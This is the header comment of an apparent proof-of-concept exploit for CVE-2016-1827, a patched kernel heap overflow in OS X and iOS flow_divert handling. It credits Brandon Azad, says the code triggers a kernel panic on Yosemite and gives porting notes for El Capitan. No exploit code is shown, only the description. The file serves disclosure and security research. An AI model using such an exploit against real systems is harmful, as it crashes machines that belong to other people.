Apple OS X Yosemite - flow_divert-heap-overflow Kernel Panic

/*
 * flow_divert-heap-overflow.c
 * Brandon Azad
 *
 * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
 * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
 * 10.11.5 and iOS 9.3.2.
 *
 * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
 * were changed from 64 bits to 32 bits, so the message structure will need to be updated
 * accordingly. This exploit has not been tested on iOS.
